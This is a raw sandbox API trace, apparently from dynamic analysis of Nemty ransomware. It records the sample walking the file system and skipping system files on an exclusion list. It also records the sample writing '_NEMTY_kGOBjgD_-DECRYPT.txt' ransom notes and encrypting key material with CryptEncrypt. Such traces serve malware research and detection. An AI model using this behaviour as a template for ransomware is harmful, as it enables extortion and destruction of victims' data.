(lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.652] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.653] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed30, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0046.654] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf80dc30, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf80dc30, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf80dc30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.654] FindClose (in: hFindFile=0x34239b0 | out: hFindFile=0x34239b0) returned 1 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.654] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="...") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="windows") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="$RECYCLE.BIN") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="rsa") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="NTDETECT.COM") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="ntldr") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="MSDOS.SYS") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="IO.SYS") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="boot.ini") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="boot.ini") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="AUTOEXEC.BAT") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="ntuser.dat") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="desktop.ini") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="CONFIG.SYS") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="RECYCLER") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="BOOTSECT.BAK") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="bootmgr") returned 1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="programdata") returned -1 [0046.654] lstrcmpiW (lpString1="Documents and Settings", lpString2="appdata") returned 1 [0046.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Documents and Settings", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Documents and Settings", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Documents and Settings", lpUsedDefaultChar=0x0) returned 22 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0046.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Documents and Settings", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.655] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Documents and Settings", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Documents and Settings", lpUsedDefaultChar=0x0) returned 22 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x4f91590 [0046.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.655] CreateFileW (lpFileName="C:\\Documents and Settings\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\documents and settings\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0046.656] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.656] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653fbc0, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653fbc0*=0xef8, lpOverlapped=0x0) returned 1 [0046.657] CloseHandle (hObject=0x3bc) returned 1 [0046.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.657] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.657] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x4f91590 [0046.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.657] CreateFileW (lpFileName="C:\\Documents and Settings\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\documents and settings\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0046.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0046.658] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.658] WriteFile (in: hFile=0x3bc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.659] CloseHandle (hObject=0x3bc) returned 1 [0046.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.659] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x34491d0, ftCreationTime.dwHighDateTime=0x653fac0, ftLastAccessTime.dwLowDateTime=0x7716389e, ftLastAccessTime.dwHighDateTime=0x33c0138, ftLastWriteTime.dwLowDateTime=0x7716387a, ftLastWriteTime.dwHighDateTime=0x71715dce, nFileSizeHigh=0x0, nFileSizeLow=0x33c0000, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="", cAlternateFileName="嶨ش4")) returned 0xffffffff [0046.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.660] FindNextFileW (in: hFindFile=0x34238f0, lpFindFileData=0x653fd08 | out: lpFindFileData=0x653fd08*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="...") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="windows") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="$RECYCLE.BIN") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="rsa") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="NTDETECT.COM") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntldr") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="MSDOS.SYS") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="IO.SYS") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot.ini") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="boot.ini") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="AUTOEXEC.BAT") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="ntuser.dat") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="desktop.ini") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="CONFIG.SYS") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="RECYCLER") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="BOOTSECT.BAK") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="bootmgr") returned 1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="programdata") returned -1 [0046.660] lstrcmpiW (lpString1="hiberfil.sys", lpString2="appdata") returned 1 [0046.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x653fc10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hiberfil.sys", lpUsedDefaultChar=0x0) returned 12 [0046.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x653fc10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hiberfil.sys", lpUsedDefaultChar=0x0) returned 12 [0046.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0046.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x653fc60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hiberfil.sys", lpUsedDefaultChar=0x0) returned 12 [0046.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0046.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hiberfil.sys", cchWideChar=12, lpMultiByteStr=0x653fc98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hiberfil.sys", lpUsedDefaultChar=0x0) returned 12 [0046.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0046.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0046.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0046.661] Sleep (dwMilliseconds=0x5) [0046.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653fb24 | out: lpSystemTimeAsFileTime=0x653fb24*(dwLowDateTime=0xcf859ef0, dwHighDateTime=0x1d561e7)) [0046.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653fb24 | out: lpSystemTimeAsFileTime=0x653fb24*(dwLowDateTime=0xcf859ef0, dwHighDateTime=0x1d561e7)) [0046.678] GetLastError () returned 0x5 [0046.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.678] GetLastError () returned 0x5 [0046.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0046.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f960*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f960*=0x100) returned 1 [0046.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f964*, pdwDataLen=0x653f950*=0x10, dwBufLen=0x100 | out: pbData=0x653f964*, pdwDataLen=0x653f950*=0x100) returned 1 [0046.678] CryptBinaryToStringA (in: pbBinary=0x653f964, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f95c | out: pszString=0x0, pcchString=0x653f95c) returned 1 [0046.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0046.679] CryptBinaryToStringA (in: pbBinary=0x653f964, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f95c | out: pszString="+qbZI6cFVHr0iPDtVSN1VZ5al+SPkcpoyV2vsVPl2z6YJb2z9ioDUbhVzYbBIw2J\r\nqFCjYsPVo1H6O1yXNvPFZPU5N0V5hcpW+pz3liHtfPGHy95xB3ytKH7g13Ebl/h4\r\nKduYd8SEfYF75pj/VyDSg0Lo2uCsjB+njLYRXP4P4JSqRP2NLRreeBfWZLkubXZI\r\n+45jUrw63zGtorBF9uz/OapzHvVHECA7VpsvBCFHk0bGxn+flVdvMkQpU9y5KVVO\r\nu8zvhgcSl3UU+irXBZE41J72ScTtff6X3RhI/PTSgD7WqLLwQGmAcvKonkP2yXXu\r\ncNnQxEfsUMc4JizdKbYPPQ==\r\n", pcchString=0x653f95c) returned 1 